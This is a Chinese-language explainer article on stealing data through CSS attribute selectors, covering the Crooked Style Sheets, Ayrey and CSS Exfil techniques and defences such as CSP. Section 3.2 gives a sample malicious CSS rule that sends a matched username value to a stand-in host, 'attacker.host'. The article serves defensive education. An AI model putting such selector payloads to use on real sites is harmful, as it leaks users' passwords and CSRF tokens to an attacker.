CSS代码可能被用来收集敏感用户数据
字数 1546 2025-08-18 11:37:02
CSS数据窃取技术详解与防御措施
1. CSS作为攻击媒介的概述
CSS(层叠样式表)不仅是网页展现的强大工具,近年来也被发现可用于追踪用户和窃取敏感数据。研究表明,CSS能够:
- 追踪网站用户行为
- 从网页中提取和窃取数据
- 收集表单域中输入的数据(包括密码)
- 暴露暗网用户身份
2. 主要攻击技术
2.1 无JavaScript的用户追踪(Crooked Style Sheets)
Jan Böhmer的"Crooked Style Sheets"项目展示了纯CSS的追踪方案,可以:
- 跟踪鼠标悬停事件
- 记录链接点击行为
- 监控输入字段的文本输入
- 收集真实的用户代理信息(绕过虚假UA设置)
2.2 CSS窃取CSRF token技术
Dylan Ayrey的研究展示了如何滥用CSS窃取CSRF token:
- 适用条件:网站将CSRF token存储在HTML元素属性中
- 技术原理:使用CSS属性选择器逐个字符猜解token
- 特点:
- 攻击耗时约10秒
- 不需要iframe
- 不需要持续流量的远程服务器
2.3 CSS属性选择器的高级利用(CSS Exfil)
Mike Gualtieri扩展了该技术,使其能够:
- 窃取表单域中的敏感数据(包括密码)
- 猜解HTML标签内的任何敏感内容
3. 技术实现细节
3.1 CSS属性选择器类型
攻击主要利用以下CSS属性选择器:
| 选择器类型 | 示例 | 功能描述 |
|---|---|---|
[attribute=value] |
[foo="bar"] |
精确匹配属性值 |
[attribute~=value] |
[foo~="bar"] |
匹配包含指定单词的属性值 |
[attribute|=value] |
[foo|="bar"] |
匹配以指定值开头或后跟连字符的属性值 |
[attribute^=value] |
[foo^="bar"] |
匹配以指定值开头的属性值 |
[attribute$=value] |
[foo$="bar"] |
匹配以指定值结尾的属性值 |
[attribute*=value] |
[foo*="bar"] |
匹配包含指定子串的属性值 |
3.2 攻击实施流程
- 构造恶意CSS:
#username[value="ZeroC00L"] {
background:url("https://attacker.host/ZeroC00L");
}
- 服务器端监控:
- 攻击者监控服务器404错误日志
- 成功的匹配会触发资源请求
- 数据重组:
从日志中提取请求片段并重组:
Z # Z_Ze # ZeZer # erZero # roZeroC # oCZeroC0 # C0ZeroC00 # 00ZeroC00L # 0L _L
3.3 两种主要攻击方法
-
Ayrey方法:
- 一次猜测最后一个字符
- 噪音较大但易于自动化
-
Gualtieri方法(CSS Exfil):
- 通过多个猜测重建字符串
- 速度更快但有时需要人工拼接
- 限制:只能窃取初始页面加载时的HTML属性
4. 防御措施
4.1 网站开发者防护
-
实施内容安全策略(CSP):
- 防止从外部加载CSS代码
- 限制非授权资源的加载
-
安全存储CSRF token:
- 避免将token直接存储在HTML元素属性中
- 使用更安全的用户验证方式
4.2 用户防护
-
浏览器扩展:
- 安装专门的防护扩展(如Gualtieri开发的)
- 功能:检测并重写恶意CSS代码
-
测试工具:
- 使用专门网页测试CSS Exfil漏洞
5. 历史背景
该技术并非全新,早在2016年CureSec就讨论过类似概念,但近期多位研究人员的关注使其重新成为热点。
6. 总结
CSS作为一种看似无害的样式语言,可以被恶意利用进行数据窃取。了解这些技术有助于开发者和用户更好地保护敏感信息。关键防御点包括实施严格的CSP策略、安全存储token,以及使用专门的防护工具。